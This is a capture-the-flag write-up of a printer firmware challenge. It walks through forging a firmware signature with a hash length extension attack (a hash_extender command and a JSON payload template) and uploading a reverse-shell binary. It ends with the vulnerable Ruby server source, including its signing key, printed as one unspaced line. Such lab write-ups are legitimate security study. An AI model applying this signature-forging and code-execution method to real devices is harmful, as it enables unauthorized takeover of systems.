The Printer Exploitation challenge can be found here.
Accessing the printer gives us access to only one thing: Upload and Download the current printer firmware.
First, let's download the firmware.
There was mention of a Hash Length Extension attack, which is beginning to make sense here, given the signature, secret_length and algorithm attributes. This is base64 encoded firmware, so let's decode it.
The json object I downloaded:
The blob of data, when using file against it, shows that it is:
./printer-firmware: Zip archive data, at least v2.0 to extract, compression method=deflate
Decompressing it shows that it is an ELF file, and running it simply shows that the firmware is up to date:
Firmware is fully up to date!
Since this just looks like C code, let's open it up in Ghidra.
Importing and analyzing it allows me to decompile the software into a super simple main function:
So in theory, it looks like I can just...open a shell. Let's try to insert our own executable!
Create a reverse shell in C
I found the following blurb of C code that I can use to create a reverse shell. I simply chagned the REMOTE_ADDR and REMOTE_PORT to more relevant data that I can use to catch the shell.
I compiled the above with gcc ./revshell.c -o firmware.bin
I then added the code to a zip file called hacked.zip:
At this point, I needed to get the hex value of the reverse shell. With some handy shell-fu I managed to accomplish this with a combination of xxd and tr:
xxd -p ./hacked.zip | tr -d "\n"
Which, for those of you following at home, took a hex dump of the entire hacked.zip file and removed any newline characters, making it one long string of hex characters.
I then used the output of the above command in combination with the hash_extender tool. Using the file I originally downloaded from the printer (that I named orig.zip), and the hash from that download as well (e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23), I ran the following:
./hash_extender --file=../orig.zip -s e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 -f sha256 -l 16 --append-format=hex -a <resulting hash of previous xxd output>
The output looked like this:
Took the new string output of the above and ran it through this cyberchef recipe to copy it into a base64 blob.
Took the output of that, added into the "firmware" portion of this json blob:
123456
{"firmware":"base64 of blob goes here","signature":"output of signature from hash_extender goes here","secret_length":16,"algorithm":"SHA256"}
Uploaded it to the firmware site, got a success message:
And a callback!
SHELL!
Some discoveries after obtaining a shell
The printer spool
1 2 3 4 5 6 7 8 91011
Documents queued for printing
=============================
Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx
The ruby sinatra app that mimicked the printer:
The secret key was: mybigsigningkey!
Also there was apparently a secret endpoint for uptime by accessing /secretendpointforuptime that apparently just reads the contents of /tmp/uptime-check.txt. Could be fun to play with if I could change that file. Oh well. As of right now, that text file simply shows: follow the white rabbit..... Is there a white rabbit somewhere? Or is that just a Matrix reference? hmmmmmmmm...
# encoding: ASCII-8BITSECRET_KEY='mybigsigningkey!'FIRMWARE_FILE='/var/firmware.zip'require'rubygems'require'base64'require'json'require'sinatra'require'sinatra/base'require'singlogger'require'securerandom'require'timeout'require'zip'require'cgi'require'digest/sha1'LOGGER=::SingLogger.instance()MAX_SIZE=1024**2# 1mb# Manually escaping is annoying, but Sinatra is lightweight and doesn't have# stuff like this built in :(defh(html)CGI.escapeHTMLhtmlenddefhandle_zip(data)# Write the data to a zipfilebeginfile=Tempfile.new()file.write(data)file.close()executable="#{file.path}-out/firmware.bin"zip_cmd="unzip '#{file.path}' 'firmware.bin' -d '#{file.path}-out' 2>&1"zip_output=`#{zip_cmd}`if!File.exists?(executable)raise"Could not extract firmware.bin from the archive:\n\n$ #{zip_cmd} && #{executable}\n\n#{zip_output}"end# Do the actual execution in the backgroundThread.newdobeginTimeout::timeout(30)doLOGGER.debug(`#{executable}`)endensureFile.delete(executable)endendensurefile.unlink()endenddefhandle_firmware(filename)f=File.read(filename)if!fraise"File upload failed"end# Parse the JSONbegindata=JSON.parse(f)rescueException=>eraise"Failed to parse uploaded file as JSON: #{e}"end# Decode the databeginzip_data=Base64.decode64(data['firmware'])rescueException=>eraise"Failed to base64-decode the 'firmware' key from the uploaded file: #{e}"end# Make sure they didn't mess with the other parametersifdata['secret_length']!=SECRET_KEY.lengthraise"Unexpected secret_length value; it must be #{SECRET_KEY.length}"endifdata['algorithm']!='SHA256'raise"Unexpected algorithm; it must be SHA256"end# Validate itexpected_signature=Digest::SHA2.hexdigest(SECRET_KEY+zip_data)ifexpected_signature!=data['signature']raise"Failed to verify the signature! Make sure you are signing the data correctly: sha256(<secret> + raw_file_data)"end# Everything seems good, deal with the restbeginhandle_zip(zip_data)rescueException=>eraise"Failed to parse the ZIP file: #{e}"endendmodulePrinterclassServer<Sinatra::Basedefinitialize(*args)super(*args)endconfiguredoif(defined?(PARAMS))set:port,PARAMS[:port]set:bind,PARAMS[:host]endset:raise_errors,falseset:show_exceptions,falseenderrordoLOGGER.error("Error: #{env['sinatra.error']}")return500,erb(:error,:locals=>{message:"Error in #{__FILE__}: #{h(env['sinatra.error'].message)}"})endnot_founddo|e|LOGGER.error("Not found: #{e.to_s}")return404,erb(:error,:locals=>{message:"Error in #{__FILE__}: Route not found: #{h(e.to_s)}"})endget'/'doerb(:index)endget'/topbar'doerb(:topbar)endget'/left_bar'doerb(:left_bar)endget'/PrinterStatus'doerb(:PrinterStatus)endget'/langbar'doerb(:langbar)endget'/login'doerb(:login)endpost'/login'doerb(:error,:locals=>{message:"Login is disabled"})endget'/config'doerb(:config)endget'/reports_and_information'doerb(:reports_and_information)endget'/linksindex'doerb(:linksindex)endget'/firmware/download'doheaders['Content-Type']='application/json'headers['Content-Disposition']='attachment; filename="firmware-export.json"'file=File.read(FIRMWARE_FILE)return{'firmware'=>Base64.strict_encode64(file),'signature'=>Digest::SHA2.hexdigest(SECRET_KEY+file),'secret_length'=>SECRET_KEY.length,'algorithm'=>'SHA256',}.to_jsonendget'/firmware'doerb(:firmware,:locals=>{message:nil})endpost'/firmware'dobeginputs"Received a firmware update!"handle_firmware(params['file']['tempfile'].path)erb(:firmware,:locals=>{message:"Firmware successfully uploaded and validated! Executing the update package in the background"})rescueException=>eputseputse.backtraceerb(:error,:locals=>{message:"Firmware update failed:<br/><pre>#{h(e.to_s)}</pre>"})endendget'/secretendpointforuptime'doreturnFile.read('/tmp/uptime-check.txt')endendend